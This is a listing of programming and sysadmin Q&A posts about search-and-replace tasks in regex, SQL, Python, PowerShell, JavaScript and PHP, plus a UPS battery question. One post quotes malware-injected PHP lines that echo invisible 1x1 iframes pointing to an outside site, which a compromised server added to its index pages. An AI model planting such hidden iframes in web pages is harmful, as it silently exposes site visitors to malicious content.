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  • Powerful search-replace GUI app for Mac?

    - by fig-gnuton
    What's the best dedicated search-and-replace GUI tool on a Mac? "Find & Replace It!" seems decent, but they've ridiculously disabled the replace function in the demo, so I can't give it a real test before paying. Is there anything else comparable or better?

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  • SQL Replace Into question

    - by Matt
    With Replace Into, if I have two fields. FirstName LastName. The table has John Smith in it, if I was to run REPLACE INTO tblNames (FirstName, LastName) VALUES (John, Jones) Would that replace Smith with Jones, or create a new name? What determines if its an Update or and Insert?

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  • Regex: Search and replace left side = to right side

    - by ctrlShiftBryan
    How do I use regular expressions and search and replace to turn this [UserID] = <UserID, int,> [UserID] = 123123 [UserID] = asd123123 into [UserID] = [UserID] [UserID] = [UserID] [UserID] = [UserID] In other words I want to take everything from left side of the line up to the '=' character and replace everything on the right side of the '=' with the match from the left side. We can assume a line break at the end of each line. What are my Find what: and Replace with: values?

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  • Regex - find only replace occurences not touching some of them

    - by vittore
    Not very good at regex though and maybe that's a stupid question, I'm given string like "bla @a bla @a1 bla " I'm also pairs like {"a", "a2"} , {"a1", "a13"}, and am to replace @a to @a2 for first pair, and @a1 to @a13 for second one. The problem is when i use string.replace and look for @a , it also replaces @a1 but it should not. Help me with regex replace, please. Cheers

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  • Replace text in string with delimeters using Regex

    - by user1057735
    I have a string something like, string str = "(50%silicon +20%!(20%Gold + 80%Silver)| + 30%Alumnium)"; I need a Regular Expression which would Replace the contents in between ! and | with an empty string. The result should be (50%silicon +20% + 30%Alumnium). If the string contains something like (with nested delimiters): string str = "(50%silicon +20%!(80%Gold + 80%Silver + 20%!(20%Iron + 80%Silver)|)| + 30%Alumnium)"; The result should be (50%silicon +20% + 30%Alumnium) - ignoring the nested delimiters. I've tried the following Regex, but it doesn't ignore the nesting: Regex.Replace(str , @"!.+?\|", "", RegexOptions.IgnoreCase);

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  • Powershell Replace Regex

    - by Brad
    I have a select-string which is seaching an IIS log for a particular string and returning the 2 lines above and one line below. So results look like this: 2012-06-15 18:26:09 98.138.206.39 OutboundConnectionResponse SMTPSVC1 WEB10 - 25 - - 220+mta1083.sbc.mail.ne1.yahoo.com+ESMTP+YSmtp+service+ready 0 0 60 0 218 SMTP - - - - 2012-06-15 18:26:09 98.138.206.39 OutboundConnectionCommand SMTPSVC1 WEB10 - 25 EHLO - WEB10.DOMAINCOM 0 0 4 0 218 SMTP - - - - 2012-06-15 18:26:09 74.125.244.10 OutboundConnectionResponse SMTPSVC1 WEB10 - 25 - - 550+IP+Authorization+check+failed+-+psmtp 0 0 41 0 218 SMTP - - - - 2012-06-15 18:26:09 74.125.244.10 OutboundConnectionCommand SMTPSVC1 WEB10 - 25 RSET - - 0 0 4 0 218 SMTP - - - - Note the third line begins with denoting thats the line that select-string matched upon. I am trying to do a -replace on the to replace it with < font color="red"$1< /font but my replace doesn't seem to work. Here's my code: $results = $results -replace "(^ )(.*)$", "< font color='red'$1< font" Can any powershell regex guru's out there tell me why my regular expression isn't matching? Thanks Brad

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  • javascript replace i into I

    - by Eric Sim
    I need a javascript to replace i into I. This should apply to cases such as i'm good. So am i. He though i love him. The standard ThisContent = ThisContent.replace("i", "I"); doesn't work because it replaces every i. I also thought of ThisContent = ThisContent.replace(" i ", " I "); but it doesn't work for the first and second case. Any idea?

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  • Prototype problem with replace

    - by xain
    Hi, in my html page, I have the following: <div id="rub"> Select at least one Rub </div> In the script code, I have if ( some condition ... ) $('rub').replace("Rubs selected:"); Which works fine, but when a second event is triggered, in the code I have if ( some other condition ... ) $('rub').replace("Selected at least one item:"); That gives the error $("rub") is null It's as if the rub reference was lost after the first replace. (Also tried with Element.replace with the same result) Any clues ? Thanks in advance.

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  • Cannot get variable.replace working properly.

    - by chrissygormley
    Hello, I am trying to replace a string with a new string in a python file and write the new string permanently to it. When I run the below script it removes part of the string and not all of it. The string in the file is: self.id = "027FC8EBC2D1" And the script I have to replace the string is: def edit(): o = open("test.py","r+") #open for line in open("test.py"): line = line.replace("027FC8EBC2D1","NewValue") o.write(line) o.close() edit() Thanks for any help.

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  • APC UPS replace battery light and apcupsd reporting "replace battery"

    - by mgjk
    We have an APC Smart UPS 1500. The "Replace Battery" light is on, and apcupsd reports: Emergency! Batteries have failed on UPS xxxx. Change them NOW However, from this article, http://sturgeon.apcc.com/kbasewb2.nsf/for+external/f39c4312fcaf7b948525679a005ebb78?OpenDocument it seems that it's not so clear that the UPS battery needs to be replaced. Stranger, according to the information on the UPS, an 11 minute runtime at 42.9% load running at 27.7V isn't so bad. Any thoughts about what to try next? We're a non-profit, money is an object. It would be a shame to replace a battery with a year or so left in it. # apcaccess status APC : 001,041,1017 DATE : Thu Mar 29 13:01:41 EDT 2012 HOSTNAME : oreilly2 VERSION : 3.14.6 (16 May 2009) debian UPSNAME : xxxx CABLE : Custom Cable Smart MODEL : Smart-UPS 1500 UPSMODE : Stand Alone STARTTIME: Thu Mar 29 12:57:30 EDT 2012 STATUS : ONLINE LINEV : 112.3 Volts LOADPCT : 42.9 Percent Load Capacity BCHARGE : 100.0 Percent TIMELEFT : 11.0 Minutes MBATTCHG : 5 Percent MINTIMEL : 3 Minutes MAXTIME : 0 Seconds OUTPUTV : 112.3 Volts SENSE : High DWAKE : -01 Seconds DSHUTD : 090 Seconds LOTRANS : 106.0 Volts HITRANS : 127.0 Volts RETPCT : 000.0 Percent ITEMP : 23.8 C Internal ALARMDEL : Always BATTV : 27.7 Volts LINEFREQ : 60.0 Hz LASTXFER : No transfers since turnon NUMXFERS : 0 TONBATT : 0 seconds CUMONBATT: 0 seconds XOFFBATT : N/A SELFTEST : NO STATFLAG : 0x07000008 Status Flag SERIALNO : AS0603298896 BATTDATE : 2006-01-14 NOMOUTV : 120 Volts NOMBATTV : 24.0 Volts FIRMWARE : 601.3.D USB FW:1.5 APCMODEL : Smart-UPS 1500 END APC : Thu Mar 29 13:02:12 EDT 2012 Error when running upstest You are using a SMART cable type, so I'm entering SMART test mode mode.type = USB_UPS Setting up the port ... Hello, this is the apcupsd Cable Test program. This part of apctest is for testing Smart UPSes. Please select the function you want to perform. 1) Query the UPS for all known values 2) Perform a Battery Runtime Calibration 3) Abort Battery Calibration 4) Monitor Battery Calibration progress 5) Program EEPROM 6) Enter TTY mode communicating with UPS 7) Quit Select function number: 2 First ensure that we have a good link and that the UPS is functionning normally. Simulating UPSlinkCheck ... YWrote: Y Got: getline failed. Apparently the link is not up. Giving up.

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  • Replace without the replace function

    - by Molly Potter
    Assignment: Let X and Y be two words. Find/Replace is a common word processing operation that finds each occurrence of word X and replaces it with word Y in a given document. Your task is to write a program that performs the Find/Replace operation. Your program will prompt the user for the word to be replaced (X), then the substitute word (Y ). Assume that the input document is named input.txt. You must write the result of this Find/Replace operation to a file named output.txt. Lastly, you cannot use the replace() string function built into Python (it would make the assignment much too easy). To test your code, you should modify input.txt using a text editor such as Notepad or IDLE to contain different lines of text. Again, the output of your code must look exactly like the sample output. This is my code: input_data = open('input.txt','r') #this opens the file to read it. output_data = open('output.txt','w') #this opens a file to write to. userStr= (raw_input('Enter the word to be replaced:')) #this prompts the user for a word userReplace =(raw_input('What should I replace all occurences of ' + userStr + ' with?')) #this prompts the user for the replacement word for line in input_data: words = line.split() if userStr in words: output_data.write(line + userReplace) else: output_data.write(line) print 'All occurences of '+userStr+' in input.txt have been replaced by '+userReplace+' in output.txt' #this tells the user that we have replaced the words they gave us input_data.close() #this closes the documents we opened before output_data.close() It won't replace anything in the output file. Help!

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  • Search for index.php and index.html and replace string

    - by Jonas
    Hello. I recently had some sort of Malware on my computer that added to all index.php and index.html ON THE WEBSERVER! the following string(s): echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; So the parameter after "click=" always changes. These two were only examples. Is there a way to do that quick and fast? . . EDIT: It is on my webserver, so no use of find...

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  • Checking whether the user input is a str in Python [migrated]

    - by Sahil Babbar
    I checked various questions on Stack Overflow but one thing every logic lacks. Let me demonstrate using Python: while True: user_input = raw_input() if type(user_input) == str: print 'ERROR' else: print 'BINGO' Also, we cannot use input() in place of raw_input() as it gives the error:Traceback (most recent call last): File ".\test.py", line 3, in <module> user_input = int(input()) File "<string>", line 1, in <module> NameError: name 'asdf' is not defined The problem here is that raw_input converts the user input into string so it always prints 'ERROR' and if I change the second line to user_input = int(raw_input) then, it gives an error: Traceback (most recent call last): File ".\test.py", line 3, in <module> user_input = int(raw_input()) ValueError: invalid literal for int() with base 10: 'asdf' I tried this with try and except but it shall work fine to check integer but not a string. I feel that this question may be marked as a duplicate but I think that this query is important, if logically taken.

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  • UNIX command for replace files

    - by all-R
    Hi, on Mac, you know there is no 'merge files' when you command+c/command+v some folder on another one, it actually replaces it. I'm simply wondering on what UNIX is this based? Because correct me if I'm wrong, but "cp - R" DOES merge files, no? And that's what I'm doing via the Finder, copying some files and folders... thanks!

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  • MySQL/Apache: Replace spaces with underscores only in certain URLs

    - by javipas
    I'm having a problem with some images I'm using on my WordPress blog. After a migration I renamed every image replacing spaces with underscores, so HIDDEN_264_4062_FOTO_IDF los MID.jpg was renamed to HIDDEN_264_4062_FOTO_IDF_los_MID.jpg But althought the trick was necessary and worked for most of the posts, some of them try to find the old image, with spaces: This is not found http://www.example.com/files/HIDDEN_264_4062_FOTO_IDF%20los%20MID.jpg and this should be the right URL http://www.example.com/files/HIDDEN_264_4062_FOTO_IDF_los_MID.jpg Careful, though, 'cause the "%20" is only shown on the browser: the text on the database shows spaces, not "%20". I'd like to know if maybe I could make a SQL query in my WordPress MySQL database that replaces spaces in .jpg files with underscores. The path of the images is always the same, so the rule should transform this: /files/HIDDEN_264_4062_FOTO_IDF los MID.jpg /files/HIDDEN_264_4062_FOTO_IDF_los_MID.jpg the "/files/HIDDEN_264_" part is always the same, but the rest varies. Is some way to perform this? Maybe a rewrite rule on Apache (our current webserver)?

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  • mac replace, what is the unix command?

    - by all-R
    Hi, on Mac, you know there is no 'merge files' when you ctrl+c/ctrl+v some folder on another one, it actually replaces it. I'm simply wondering on what UNIX is this based? because correct me if I'm wrong, but "cp - R" DOES merge files, no? And that's what I'm doing via the Finder, copying some files and folders... thanks!

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  • Javascript and backslashes replace

    - by Frankie
    here is my string: var str = "This is my \string"; This is my code: var replaced = str.replace("/\\/", "\\\\"); I can't get my output to be: "This is my \\string" I have tried every combination I can think of for the regular expression and the replacement value. Any help is appreciated!

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  • Is there a way to pass another parameter in the preg_replace_callback callback function?

    - by DaNieL
    mmmh guys, i really hope my english is good enaught to explain what i need. Lets take this example (that is just an example!) of code: class Something(){ public function Lower($string){ return strtolower($string); } } class Foo{ public $something; public $reg; public $string; public function __construct($reg, $string, $something){ $this->something = $something; $this->reg = $reg; $this->string = $string; } public function Replace(){ return preg_replace_callback($this->reg, 'Foo::Bar', $this->string); } public static function Bar($matches){ /* * [...] * do something with $matches and create the $output variable * [...] */ /* * I know is really useless in this example, but i need to have an istance to an object here * (in this example, the Something object, but can be something else!) */ return $this->something->Lower($output); } } $s = new Something(); $foo = new Foo($myregexp, $mystring, $s); $content = $foo->Replace(); So, the php manual say that to use a class method as callback in preg_replace_callback(), the method must be abstract. I need to pass an instance of a previuosly initialized object (in the example, an instance of the Something class) at the callback function. I tryed to use call_user_func(), but doesnt work (becose in this way i miss the matches parameter). Is there a way to do that, or have i to separate the process (doing before preg_match_all, for each match retrieve the replace value, and then a simple preg_replace)?

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  • Python refuses text.replace() in one environment

    - by gx
    Hi fellow programmers, I've been mocking about with the following bit of dirty support-code for a pylons app, which works fine in a python-shell, a separate python file, or when running in paster. Now, we've put the application on-line through mod_wsgi and apache and this specific piece of code stopped working completely. First off, the code itself: def fixStyle(self, text): t = text.replace('<p>', '<p style="%s">' % (STYLEDEF,)) t = t.replace('class="wide"', 'style="width: 125px; %s"' % (DEFSTYLE,)) t = t.replace('<td>', '<td style="%s">' % (STYLEDEF,)) t = t.replace('<a ', '<a style="%s" ' % (LINKSTYLE,)) return t It seems pretty straightforward, and to be honest, it is. So what happens when I put a piece of text in it, for example: <table><tr><td>Test!</td></tr></table> The output should be: <table><tr><td style="stuff-from-styledef">Test!</td></tr></table> and it is, on most systems. When we put it through the app on Apache/mod_wsgi though, the following happens: <table><tr><td>Test!</td></tr></table> You guessed it. I'm currently at a loss and have no idea where to go next. Googling doesn't really work out, so I'm hoping on you guys to help out and perhaps point out a fundamental issue with using whatever-is-causing-this. If anything is missing I'll edit it in.

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  • Regex - find and replace complete string occurrences only (not partial matches)

    - by vittore
    I'm not very good at regex but maybe there's a simple way to achieve this task. I'm given a string like "bla @a bla @a1 bla" I'm also given pairs like {"a", "a2"} , {"a1", "a13"}, and I need to replace @a with @a2 for the first pair, and @a1 with @a13 for the second one. The problem is when i use String.Replace and look for @a, it also replaces @a1 but it should not. I need it to completely match @a and avoid partially matching it in other places. Note: the given string could also be brackets, commas, dots and so on. However, pairs will always be [a-z]*[0-9]+ Help me with regex replace, please. Cheers

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